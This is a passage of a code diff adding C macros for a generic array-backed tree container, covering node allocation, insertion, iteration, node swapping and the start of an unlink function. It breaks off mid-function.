+        m_tr33_index_t       parent;                                          \
+        m_tr33_index_t       child;                                           \
+        m_tr33_index_t       left;                                            \
+        m_tr33_index_t       right;                                           \
+        type                 data;                                            \
+    } M_F(name, _node_ct);                                                    \
+                                                                              \
+    /* Define a tree:                                                         \
+       + size is the number of nodes in the tree,                             \
+       + capacity is the allocated size of the array 'tab'                    \
+       + root_index is the index of the "first" root in the tree.             \
+       + free_index is the list of free nodes in the array 'tab'.             \
+       + allow_realloc is a bool encoded as true=0 and false=INT32_MAX        \
+       + tab is a pointer to the allocated nodes.                             \
+    */                                                                        \
+    typedef struct M_F(name, _s) {                                            \
+        m_tr33_index_t       size;                                            \
+        m_tr33_index_t       capacity;                                        \
+        m_tr33_index_t       root_index;                                      \
+        m_tr33_index_t       free_index;                                      \
+        uint32_t             allow_realloc;                                   \
+        M_F(name, _node_ct) *tab;                                             \
+    } tree_t[1];                                                              \
+                                                                              \
+    /* Define an iterator that references a node.                             \
+    A node is an internal type, whereas the iterator is not.                  \
+    A node can be moved, whereas the iterator will always remain valid        \
+    until the node is destroyed.                                              \
+    It is composed of:                                                        \
+      + tree is a pointer to the tree structure                               \
+      + index is an index in the array tab, identifying the node.             \
+    NOTE: we don't define then using [1] as we want to pass then by value     \
+    so that we can return iterator on the inserted elements.                  \
+    */                                                                        \
+    typedef struct M_F(name, _it_s) {                                         \
+        struct M_F(name, _s) *tree;                                           \
+        m_tr33_index_t        index;                                          \
+    } it_t;                                                                   \
+                                                                              \
+    typedef it_t M_F(name, _it_ct);
+
+/* Define the core & unique methods of a tree */
+#define M_TR33_DEF_P4_CORE(name, type, oplist, tree_t, it_t)                  \
+    /* Initialize a generic tree (empty) */                                   \
+    M_INLINE void                                                             \
+    M_F(name, _init)(tree_t tree) {                                           \
+        tree->size = 0;                                                       \
+        tree->capacity = 0;                                                   \
+        tree->root_index = M_TR33_NO_NODE;                                    \
+        tree->free_index = M_TR33_NO_NODE;                                    \
+        tree->allow_realloc = 0;                                              \
+        tree->tab = NULL;                                                     \
+        M_TR33_CONTRACT(tree);                                                \
+    }                                                                         \
+                                                                              \
+    M_P(void, name, _reset, tree_t tree) {                                    \
+        M_TR33_CONTRACT(tree);                                                \
+        M_UNUSED_CONTEXT();                                                   \
+        if (tree->size > 0) {                                                 \
+            /* We don't scan recursively the node tree, but sequentially */   \
+            m_tr33_index_t free_index = tree->free_index;                     \
+            for(m_tr33_index_t i = 0 ; i < tree->capacity ; i ++) {           \
+                /* If the node is not a free node */                          \
+                if (tree->tab[i].parent != M_TR33_NO_NODE) {                  \
+                    /* free it */                                             \
+                    M_CALL_CLEAR(oplist, tree->tab[i].data);                  \
+                    tree->tab[i].parent = M_TR33_NO_NODE;                     \
+                    tree->tab[i].child  = free_index;                         \
+                    tree->tab[i].left   = M_TR33_NO_NODE;                     \
+                    tree->tab[i].right  = M_TR33_NO_NODE;                     \
+                    free_index = i;                                           \
+                }                                                             \
+            }                                                                 \
+            /* Update the free index */                                       \
+            tree->free_index = free_index;                                    \
+            tree->size = 0;                                                   \
+            tree->root_index = M_TR33_NO_NODE;                                \
+        }                                                                     \
+        M_TR33_CONTRACT(tree);                                                \
+    }                                                                         \
+                                                                              \
+    M_P(void, name, _clear, tree_t tree) {                                    \
+        M_F(name, _reset)M_R(tree);                                           \
+        struct M_F(name,_node_s)*ptr = tree->tab == NULL ? NULL : tree->tab-1;\
+        M_CALL_FREE(oplist, struct M_F(name, _node_s), ptr, (size_t)(tree->capacity+1)); \
+        /* This is so reusing the object implies an assertion failure */      \
+        tree->size = 1;                                                       \
+        tree->tab = NULL;                                                     \
+    }                                                                         \
+                                                                              \
+    M_P(void, name, _reserve, tree_t tree, size_t alloc) {                    \
+        M_TR33_CONTRACT(tree);                                                \
+        /* Nothing to do if the request is lower than the current capacity. */ \
+        if (alloc <= (size_t) tree->capacity) {                               \
+            return;                                                           \
+        }                                                                     \
+        /* Realloc the array */                                               \
+        if (M_UNLIKELY_NOMEM (alloc >= INT32_MAX)) {                          \
+            M_MEMORY_FULL(struct M_F(name, _node_s), alloc);                  \
+        }                                                                     \
+        /* Allocate one more term in the array so that tab[-1] exists.        \
+           This enables performing latter tab[M_TR33_NO_NODE].x = something;  \
+           as M_TR33_NO_NODE is -1. This enables avoiding testing for         \
+           M_TR33_NO_NODE in some cases, performing branchless code. */       \
+        struct M_F(name,_node_s)*ptr = tree->tab == NULL ? NULL : tree->tab-1;\
+        ptr = M_CALL_REALLOC(oplist, struct M_F(name, _node_s), ptr, (size_t)(tree->capacity+1), alloc+1); \
+        if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                                \
+            M_MEMORY_FULL(struct M_F(name, _node_s), alloc);                  \
+        }                                                                     \
+        /* Skip the first term to keep it as empty & unused */                \
+        ptr++;                                                                \
+        /* Free the list */                                                   \
+        m_tr33_index_t *free_index = &tree->free_index;                       \
+        if (*free_index != M_TR33_NO_NODE) {                                  \
+            while (ptr[*free_index].child != M_TR33_NO_NODE) {                \
+                free_index = &ptr[*free_index].child;                         \
+            }                                                                 \
+        }                                                                     \
+        *free_index = tree->capacity;                                         \
+        /* Construct the list of free node in the extra allocated pool */     \
+        for(size_t i = (size_t)tree->capacity; i < alloc; i++) {              \
+            ptr[i].parent = M_TR33_NO_NODE;                                   \
+            ptr[i].left   = M_TR33_NO_NODE;                                   \
+            ptr[i].right  = M_TR33_NO_NODE;                                   \
+            ptr[i].child  = (m_tr33_index_t)(i+1);                            \
+        }                                                                     \
+        /* The last node has no child in the free node list */                \
+        ptr[alloc-1].child = M_TR33_NO_NODE;                                  \
+        /* Save the free list state in the tree */                            \
+        tree->tab = ptr;                                                      \
+        tree->capacity = (m_tr33_index_t) alloc;                              \
+        M_TR33_CONTRACT(tree);                                                \
+    }                                                                         \
+                                                                              \
+    M_INLINE void                                                             \
+    M_F(name, _lock)(tree_t tree, bool lock) {                                \
+        M_TR33_CONTRACT(tree);                                                \
+        tree->allow_realloc = lock ? INT32_MAX : 0;                           \
+        M_TR33_CONTRACT(tree);                                                \
+    }                                                                         \
+                                                                              \
+    M_P(m_tr33_index_t, name, _i_alloc_node, tree_t tree) {                   \
+        m_tr33_index_t ret = tree->free_index;                                \
+        if (M_UNLIKELY(ret < 0)) {                                            \
+            /* No more enough space: realloc the array */                     \
+            size_t alloc = M_CALL_INC_ALLOC(oplist, (size_t) tree->capacity); \
+            /* Take into account if realloc is allowed */                     \
+            alloc += tree->allow_realloc;                                     \
+            if (M_UNLIKELY_NOMEM (alloc >= INT32_MAX)) {                      \
+                M_MEMORY_FULL(struct M_F(name, _node_s), alloc);              \
+            }                                                                 \
+            /* Allocate one more term in the array so that tab[-1] exists.    \
+            This enables performing latter tab[M_TR33_NO_NODE].x = something; \
+            as M_TR33_NO_NODE is -1. This enables avoiding testing for        \
+            M_TR33_NO_NODE in some cases, performing branchless code. */      \
+            struct M_F(name,_node_s)*ptr = tree->tab == NULL ? NULL : tree->tab-1; \
+            ptr = M_CALL_REALLOC(oplist, struct M_F(name, _node_s), ptr, (size_t)(tree->capacity+1), alloc+1); \
+            if (M_UNLIKELY_NOMEM (ptr == NULL) ) {                            \
+                M_MEMORY_FULL(struct M_F(name, _node_s), alloc);              \
+            }                                                                 \
+            /* Skip the first term to keep it as empty & unused */            \
+            ptr++;                                                            \
+            /* Construct the list of free node in the extra allocated pool */ \
+            M_ASSERT(tree->capacity >= 0);                                    \
+            for(size_t i = (size_t) tree->capacity; i < alloc; i++) {         \
+                ptr[i].parent = M_TR33_NO_NODE;                               \
+                ptr[i].left   = M_TR33_NO_NODE;                               \
+                ptr[i].right  = M_TR33_NO_NODE;                               \
+                ptr[i].child  = (m_tr33_index_t) i + 1;                       \
+            }                                                                 \
+            /* The last node has no child in the free node list */            \
+            ptr[alloc-1].child = M_TR33_NO_NODE;                              \
+            /* Save the free list state in the tree */                        \
+            tree->tab = ptr;                                                  \
+            tree->capacity = (m_tr33_index_t) alloc;                          \
+            ret = tree->size;                                                 \
+        }                                                                     \
+        /* Pop an element in the list of free nodes */                        \
+        tree->free_index = tree->tab[ret].child;                              \
+        tree->size ++;                                                        \
+        return ret;                                                           \
+    }                                                                         \
+                                                                              \
+    M_INLINE void                                                             \
+    M_C3(m_tr33_, name, _free_node)(tree_t tree, m_tr33_index_t i) {          \
+        tree->tab[i].parent = M_TR33_NO_NODE;                                 \
+        tree->tab[i].left   = M_TR33_NO_NODE;                                 \
+        tree->tab[i].right  = M_TR33_NO_NODE;                                 \
+        tree->tab[i].child  = tree->free_index;                               \
+        tree->size --;                                                        \
+        tree->free_index = i;                                                 \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _set_root, tree_t tree, type const data) {                \
+        M_TR33_CONTRACT(tree);                                                \
+        M_F(name, _reset)M_R(tree);                                           \
+        m_tr33_index_t i = M_F(name, _i_alloc_node)M_R(tree);                 \
+        tree->tab[i].parent = M_TR33_ROOT_NODE;                               \
+        tree->tab[i].left   = M_TR33_NO_NODE;                                 \
+        tree->tab[i].right  = M_TR33_NO_NODE;                                 \
+        tree->tab[i].child  = M_TR33_NO_NODE;                                 \
+        tree->root_index = i;                                                 \
+        M_CALL_INIT_SET(oplist, tree->tab[i].data, data);                     \
+        it_t it;                                                              \
+        it.tree = tree;                                                       \
+        it.index = tree->root_index;                                          \
+        M_TR33_CONTRACT(tree);                                                \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    /* The iterator references the first root node */                         \
+    /* usually for pre-order walk */                                          \
+    M_INLINE it_t                                                             \
+    M_F(name, _it)(tree_t tree) {                                             \
+        M_TR33_CONTRACT(tree);                                                \
+        it_t it;                                                              \
+        it.tree = tree;                                                       \
+        it.index = tree->root_index;                                          \
+        M_TR33_IT_CONTRACT(it, false);                                        \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_INLINE it_t                                                             \
+    M_F(name, _it_end)(tree_t tree) {                                         \
+        M_TR33_CONTRACT(tree);                                                \
+        it_t it;                                                              \
+        it.tree = tree;                                                       \
+        it.index = M_TR33_NO_NODE;                                            \
+        M_TR33_IT_CONTRACT(it, false);                                        \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_INLINE bool                                                             \
+    M_F(name, _end_p)(it_t it) {                                              \
+        M_TR33_IT_CONTRACT(it, false);                                        \
+        return it.index < 0;                                                  \
+    }                                                                         \
+                                                                              \
+    M_INLINE type *                                                           \
+    M_F(name, _ref)(it_t it) {                                                \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return &it.tree->tab[it.index].data;                                  \
+    }                                                                         \
+                                                                              \
+    M_INLINE type const *                                                     \
+    M_F(name, _cref)(it_t it) {                                               \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return M_CONST_CAST(type, &it.tree->tab[it.index].data);              \
+    }                                                                         \
+                                                                              \
+    M_INLINE type *                                                           \
+    M_F(name, _up_ref)(it_t it) {                                             \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        m_tr33_index_t i = it.tree->tab[it.index].parent;                     \
+        return i < 0 ? NULL : &it.tree->tab[i].data;                          \
+    }                                                                         \
+                                                                              \
+    M_INLINE type *                                                           \
+    M_F(name, _down_ref)(it_t it) {                                           \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        m_tr33_index_t i = it.tree->tab[it.index].child;                      \
+        return i < 0 ? NULL : &it.tree->tab[i].data;                          \
+    }                                                                         \
+                                                                              \
+    M_INLINE type *                                                           \
+    M_F(name, _left_ref)(it_t it) {                                           \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        m_tr33_index_t i = it.tree->tab[it.index].left;                       \
+        return i < 0 ? NULL : &it.tree->tab[i].data;                          \
+    }                                                                         \
+                                                                              \
+    M_INLINE type *                                                           \
+    M_F(name, _right_ref)(it_t it) {                                          \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        m_tr33_index_t i = it.tree->tab[it.index].right;                      \
+        return i < 0 ? NULL : &it.tree->tab[i].data;                          \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _insert_up_raw, it_t it) {                                \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        m_tr33_index_t i = M_F(name, _i_alloc_node)M_R(it.tree);              \
+        m_tr33_index_t parent = it.tree->tab[it.index].parent;                \
+        m_tr33_index_t left   = it.tree->tab[it.index].left;                  \
+        m_tr33_index_t right  = it.tree->tab[it.index].right;                 \
+        it.tree->tab[i].parent = parent;                                      \
+        it.tree->tab[i].left   = left;                                        \
+        it.tree->tab[i].right  = right;                                       \
+        it.tree->tab[i].child  = it.index;                                    \
+        it.tree->tab[it.index].parent = i;                                    \
+        it.tree->tab[it.index].left = M_TR33_NO_NODE;                         \
+        it.tree->tab[it.index].right = M_TR33_NO_NODE;                        \
+        if (M_UNLIKELY(it.tree->root_index == it.index)) {                    \
+            /* We have added a parent to the root node. Update root index */  \
+            it.tree->root_index = i;                                          \
+            M_ASSERT( it.tree->tab[i].parent == M_TR33_ROOT_NODE);            \
+        } else { if (it.tree->tab[parent].child == it.index) {                \
+            /* Update the parent to point to the new child */                 \
+            it.tree->tab[parent].child = i;                                   \
+        } }                                                                   \
+        it.tree->tab[left].right = i;                                         \
+        it.tree->tab[right].left = i;                                         \
+        /* Return updated iterator on the inserted node */                    \
+        it.index = i;                                                         \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _insert_up, it_t pos, type const data) {                  \
+        it_t it = M_F(name, _insert_up_raw)M_R(pos);                          \
+        M_CALL_INIT_SET(oplist, it.tree->tab[it.index].data, data);           \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _move_up, it_t pos, type *data) {                         \
+        it_t it = M_F(name, _insert_up_raw)M_R(pos);                          \
+        M_CALL_INIT_MOVE(oplist, it.tree->tab[it.index].data, *data);         \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _insert_down_raw, it_t it) {                              \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        m_tr33_index_t i = M_F(name, _i_alloc_node)M_R(it.tree);              \
+        m_tr33_index_t child = it.tree->tab[it.index].child;                  \
+        it.tree->tab[i].parent = it.index;                                    \
+        it.tree->tab[i].left  = M_TR33_NO_NODE;                               \
+        it.tree->tab[i].right = M_TR33_NO_NODE;                               \
+        it.tree->tab[i].child = child;                                        \
+        it.tree->tab[it.index].child = i;                                     \
+        /* Update the parent of all the childs if at least one exists */      \
+        while (child != M_TR33_NO_NODE) {                                     \
+            it.tree->tab[child].parent = i;                                   \
+            child = it.tree->tab[child].right;                                \
+        }                                                                     \
+        /* Return updated iterator on the inserted node */                    \
+        it.index = i;                                                         \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _insert_down, it_t pos, type const data) {                \
+        it_t it = M_F(name, _insert_down_raw)M_R(pos);                        \
+        M_CALL_INIT_SET(oplist, it.tree->tab[it.index].data, data);           \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _move_down, it_t pos, type *data) {                       \
+        it_t it = M_F(name, _insert_down_raw)M_R(pos);                        \
+        M_CALL_INIT_MOVE(oplist, it.tree->tab[it.index].data, *data);         \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _insert_child_raw, it_t it) {                             \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        /* Insert a node as a child of another, making the current children   \
+            of the nodes their siblings */                                    \
+        m_tr33_index_t i = M_F(name, _i_alloc_node)M_R(it.tree);              \
+        m_tr33_index_t child = it.tree->tab[it.index].child;                  \
+        it.tree->tab[i].parent = it.index;                                    \
+        it.tree->tab[i].left  = M_TR33_NO_NODE;                               \
+        it.tree->tab[i].right = child;                                        \
+        it.tree->tab[i].child = M_TR33_NO_NODE;                               \
+        /* Update the parent */                                               \
+        it.tree->tab[it.index].child = i;                                     \
+        /* Update the sibling */                                              \
+        it.tree->tab[child].left = i;                                         \
+        /* Return updated iterator on the inserted node */                    \
+        it.index = i;                                                         \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _insert_child, it_t pos, type const data) {               \
+        it_t it = M_F(name, _insert_child_raw)M_R(pos);                       \
+        M_CALL_INIT_SET(oplist, it.tree->tab[it.index].data, data);           \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _move_child, it_t pos, type *data) {                      \
+        it_t it = M_F(name, _insert_child_raw)M_R(pos);                       \
+        M_CALL_INIT_MOVE(oplist, it.tree->tab[it.index].data, *data);         \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _insert_left_raw, it_t it) {                              \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        M_ASSERT(it.index != it.tree->root_index);                            \
+        m_tr33_index_t i = M_F(name, _i_alloc_node)M_R(it.tree);              \
+        m_tr33_index_t left = it.tree->tab[it.index].left;                    \
+        m_tr33_index_t parent = it.tree->tab[it.index].parent;                \
+        it.tree->tab[i].parent = parent;                                      \
+        it.tree->tab[i].left  = left;                                         \
+        it.tree->tab[i].right = it.index;                                     \
+        it.tree->tab[i].child = M_TR33_NO_NODE;                               \
+        it.tree->tab[it.index].left = i;                                      \
+        /* If there is a left node, update its right */                       \
+        it.tree->tab[left].right = i;                                         \
+        if (it.tree->tab[parent].child == it.index) {                         \
+            /* Update the first child of the parent */                        \
+            it.tree->tab[parent].child = i;                                   \
+        }                                                                     \
+        /* Return updated iterator on the inserted node */                    \
+        it.index = i;                                                         \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _insert_left, it_t pos, type const data) {                \
+        it_t it = M_F(name, _insert_left_raw)M_R(pos);                        \
+        M_CALL_INIT_SET(oplist, it.tree->tab[it.index].data, data);           \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _move_left, it_t pos, type *data) {                       \
+        it_t it = M_F(name, _insert_left_raw)M_R(pos);                        \
+        M_CALL_INIT_MOVE(oplist, it.tree->tab[it.index].data, *data);         \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _insert_right_raw, it_t it) {                             \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        M_ASSERT(it.index != it.tree->root_index);                            \
+        m_tr33_index_t i = M_F(name, _i_alloc_node)M_R(it.tree);              \
+        m_tr33_index_t right = it.tree->tab[it.index].right;                  \
+        it.tree->tab[i].parent = it.tree->tab[it.index].parent;               \
+        it.tree->tab[i].left   = it.index;                                    \
+        it.tree->tab[i].right  = right;                                       \
+        it.tree->tab[i].child  = M_TR33_NO_NODE;                              \
+        it.tree->tab[right].left = i;                                         \
+        it.tree->tab[it.index].right = i;                                     \
+        /* Return updated iterator on the inserted node */                    \
+        it.index = i;                                                         \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _insert_right, it_t pos, type const data) {               \
+        it_t it = M_F(name, _insert_right_raw)M_R(pos);                       \
+        M_CALL_INIT_SET(oplist, it.tree->tab[it.index].data, data);           \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_P(it_t, name, _move_right, it_t pos, type *data) {                      \
+        it_t it = M_F(name, _insert_right_raw)M_R(pos);                       \
+        M_CALL_INIT_MOVE(oplist, it.tree->tab[it.index].data, *data);         \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it;                                                            \
+    }                                                                         \
+                                                                              \
+    M_INLINE bool                                                             \
+    M_F(name, _it_up)(it_t *it) {                                             \
+        M_ASSERT(it != NULL);                                                 \
+        M_TR33_IT_CONTRACT(*it, true);                                        \
+        m_tr33_index_t i = it->tree->tab[it->index].parent;                   \
+        bool ret = i >= 0;                                                    \
+        if (M_LIKELY(ret)) {                                                  \
+            it->index = i;                                                    \
+        }                                                                     \
+        M_TR33_IT_CONTRACT(*it, true);                                        \
+        return ret;                                                           \
+    }                                                                         \
+                                                                              \
+    M_INLINE bool                                                             \
+    M_F(name, _it_down)(it_t *it) {                                           \
+        M_ASSERT(it != NULL);                                                 \
+        M_TR33_IT_CONTRACT(*it, true);                                        \
+        m_tr33_index_t i = it->tree->tab[it->index].child;                    \
+        bool ret = i >= 0;                                                    \
+        if (M_LIKELY(ret)) {                                                  \
+            it->index = i;                                                    \
+        }                                                                     \
+        M_TR33_IT_CONTRACT(*it, true);                                        \
+        return ret;                                                           \
+    }                                                                         \
+                                                                              \
+    M_INLINE bool                                                             \
+    M_F(name, _it_left)(it_t *it) {                                           \
+        M_ASSERT(it != NULL);                                                 \
+        M_TR33_IT_CONTRACT(*it, true);                                        \
+        m_tr33_index_t i = it->tree->tab[it->index].left;                     \
+        bool ret = i >= 0;                                                    \
+        if (M_LIKELY(ret)) {                                                  \
+            it->index = i;                                                    \
+        }                                                                     \
+        M_TR33_IT_CONTRACT(*it, true);                                        \
+        return ret;                                                           \
+    }                                                                         \
+                                                                              \
+    M_INLINE bool                                                             \
+    M_F(name, _it_right)(it_t *it) {                                          \
+        M_ASSERT(it != NULL);                                                 \
+        M_TR33_IT_CONTRACT(*it, true);                                        \
+        m_tr33_index_t i = it->tree->tab[it->index].right;                    \
+        bool ret = i >= 0;                                                    \
+        if (M_LIKELY(ret)) {                                                  \
+            it->index = i;                                                    \
+        }                                                                     \
+        M_TR33_IT_CONTRACT(*it, true);                                        \
+        return ret;                                                           \
+    }                                                                         \
+                                                                              \
+    M_INLINE it_t                                                             \
+    M_F(name, _up)(it_t it) {                                                 \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        it_t i = { it.tree, it.tree->tab[it.index].parent };                  \
+        return i;                                                             \
+    }                                                                         \
+                                                                              \
+    M_INLINE it_t                                                             \
+    M_F(name, _down)(it_t it) {                                               \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        it_t i = { it.tree, it.tree->tab[it.index].child };                   \
+        return i;                                                             \
+    }                                                                         \
+                                                                              \
+    M_INLINE it_t                                                             \
+    M_F(name, _left)(it_t it) {                                               \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        it_t i = { it.tree, it.tree->tab[it.index].left };                    \
+        return i;                                                             \
+    }                                                                         \
+                                                                              \
+    M_INLINE it_t                                                             \
+    M_F(name, _right)(it_t it) {                                              \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        it_t i = { it.tree, it.tree->tab[it.index].right };                   \
+        return i;                                                             \
+    }                                                                         \
+                                                                              \
+    M_INLINE bool                                                             \
+    M_F(name, _root_p)(const it_t it) {                                       \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it.tree->tab[it.index].parent == M_TR33_ROOT_NODE;             \
+    }                                                                         \
+                                                                              \
+    M_INLINE bool                                                             \
+    M_F(name, _node_p)(const it_t it) {                                       \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it.tree->tab[it.index].child != M_TR33_NO_NODE;                \
+    }                                                                         \
+                                                                              \
+    M_INLINE bool                                                             \
+    M_F(name, _leaf_p)(const it_t it) {                                       \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        return it.tree->tab[it.index].child == M_TR33_NO_NODE;                \
+    }                                                                         \
+                                                                              \
+    /* Compute the degree of a node in linear time */                         \
+    M_INLINE int32_t                                                          \
+    M_F(name, _degree)(const it_t it) {                                       \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        int32_t ret = 0;                                                      \
+        m_tr33_index_t i = it.tree->tab[it.index].child;                      \
+        while (i >= 0) {                                                      \
+            ret ++;                                                           \
+            i = it.tree->tab[i].right;                                        \
+        }                                                                     \
+        return ret;                                                           \
+    }                                                                         \
+                                                                              \
+    /* Compute the depth of a node in linear time */                          \
+    M_INLINE int32_t                                                          \
+    M_F(name, _depth)(it_t it) {                                              \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        int32_t ret = 0;                                                      \
+        m_tr33_index_t i = it.tree->tab[it.index].parent;                     \
+        while (i >= 0) {                                                      \
+            ret ++;                                                           \
+            i = it.tree->tab[i].parent;                                       \
+        }                                                                     \
+        return ret;                                                           \
+    }                                                                         \
+                                                                              \
+    M_INLINE struct M_F(name, _s) *                                           \
+    M_F(name, _tree)(it_t it) {                                               \
+        M_TR33_IT_CONTRACT(it, false);                                        \
+        return it.tree;                                                       \
+    }                                                                         \
+                                                                              \
+    M_INLINE void                                                             \
+    M_F(name, _swap_at)(it_t it1, it_t it2, bool swapChild) {                 \
+        M_ASSUME(it1.tree == it2.tree);                                       \
+        M_TR33_IT_CONTRACT(it1, true);                                        \
+        M_TR33_IT_CONTRACT(it2, true);                                        \
+        if (M_UNLIKELY(it1.index == it2.index)) { return; }                   \
+        /* Read all references before modifying anything */                   \
+        m_tr33_index_t tmp1_l = it1.tree->tab[it1.index].left;                \
+        m_tr33_index_t tmp2_l = it2.tree->tab[it2.index].left;                \
+        m_tr33_index_t tmp1_r = it1.tree->tab[it1.index].right;               \
+        m_tr33_index_t tmp2_r = it2.tree->tab[it2.index].right;               \
+        m_tr33_index_t tmp1_d = it1.tree->tab[it1.index].child;               \
+        m_tr33_index_t tmp2_d = it2.tree->tab[it2.index].child;               \
+        m_tr33_index_t tmp1_u = it1.tree->tab[it1.index].parent;              \
+        m_tr33_index_t tmp2_u = it2.tree->tab[it2.index].parent;              \
+        /* Special cases if both nodes are siblings of the same node */       \
+        if (tmp1_r == it2.index) {                                            \
+            M_ASSERT(tmp2_l == it1.index);                                    \
+            tmp1_r = it1.index;                                               \
+            tmp2_l = it2.index;                                               \
+        }                                                                     \
+        if (tmp2_r == it1.index) {                                            \
+            M_ASSERT(tmp1_l == it2.index);                                    \
+            tmp2_r = it2.index;                                               \
+            tmp1_l = it1.index;                                               \
+        }                                                                     \
+        if (tmp1_u == it2.index) {                                            \
+            tmp1_u = it1.index;                                               \
+            if (tmp2_d == it1.index) { tmp2_d = it2.index; }                  \
+        }                                                                     \
+        if (tmp2_u == it1.index) {                                            \
+            tmp2_u = it2.index;                                               \
+            if (tmp1_d == it2.index) { tmp1_d = it1.index; }                  \
+        }                                                                     \
+        /* Swap left references */                                            \
+        it1.tree->tab[it1.index].left = tmp2_l;                               \
+        it2.tree->tab[it2.index].left = tmp1_l;                               \
+        it1.tree->tab[tmp1_l].right = it2.index;                              \
+        it2.tree->tab[tmp2_l].right = it1.index;                              \
+        /* Swap right references */                                           \
+        it1.tree->tab[it1.index].right = tmp2_r;                              \
+        it2.tree->tab[it2.index].right = tmp1_r;                              \
+        it1.tree->tab[tmp1_r].left = it2.index;                               \
+        it2.tree->tab[tmp2_r].left = it1.index;                               \
+        /* Swap down references */                                            \
+        if (swapChild == false) {                                             \
+            it1.tree->tab[it1.index].child = tmp2_d;                          \
+            it2.tree->tab[it2.index].child = tmp1_d;                          \
+            while (tmp1_d >= 0) {                                             \
+                it1.tree->tab[tmp1_d].parent = it2.index;                     \
+                tmp1_d = it1.tree->tab[tmp1_d].right;                         \
+            }                                                                 \
+            while (tmp2_d >= 0) {                                             \
+                it2.tree->tab[tmp2_d].parent = it1.index;                     \
+                tmp2_d = it2.tree->tab[tmp2_d].right;                         \
+            }                                                                 \
+        }                                                                     \
+        /* Swap up references */                                              \
+        bool dont_swap_back = true;                                           \
+        it1.tree->tab[it1.index].parent = tmp2_u;                             \
+        it2.tree->tab[it2.index].parent = tmp1_u;                             \
+        if (tmp1_u >= 0 && it1.tree->tab[tmp1_u].child == it1.index) {        \
+            it1.tree->tab[tmp1_u].child = it2.index;                          \
+            dont_swap_back = tmp1_u != tmp2_u;                                \
+        }                                                                     \
+        if (tmp1_u == M_TR33_ROOT_NODE) {                                     \
+            it1.tree->root_index = it2.index;                                 \
+            M_ASSERT(tmp1_u != tmp2_u);                                       \
+        }                                                                     \
+        /* Both may have the same parent (don't swap back in this case) */    \
+        if (tmp2_u >= 0 && dont_swap_back && it2.tree->tab[tmp2_u].child == it2.index) { \
+            it2.tree->tab[tmp2_u].child = it1.index;                          \
+        }                                                                     \
+        if (tmp2_u == M_TR33_ROOT_NODE) {                                     \
+            it2.tree->root_index = it1.index;                                 \
+            M_ASSERT(tmp1_u != tmp2_u);                                       \
+        }                                                                     \
+        M_TR33_IT_CONTRACT(it1, true);                                        \
+        M_TR33_IT_CONTRACT(it2, true);                                        \
+    }                                                                         \
+                                                                              \
+    M_INLINE type *                                                           \
+    M_F(name, _unlink)(it_t it) {                                             \
+        M_TR33_IT_CONTRACT(it, true);                                         \
+        m_tr33_index_t parent, child, left, right, child_r;                   \
+        parent = it.tree->tab[it.index].parent;                               \
+        child  = it.tree->tab[it.index].child;                                \
+        left   = it.tree->tab[it.index].left;                                 \
+        right  = it.tree->tab[it.index].right;                                \
+        /* Test if No child for this node */                                  \
+        if (child == M_TR33_NO_NODE) {                                        \
+            remove_child_no_node:                                             \
+            /* Remove node from sibling */                                    \
+            it.tree->tab[left].right = right;                                 \
+            it.tree->tab[right].left = left;                                  \
+            /* Remove node from parent if it is the first child */            \
+            if (parent >= 0 && it.tree->tab[parent].child == it.index) {      \
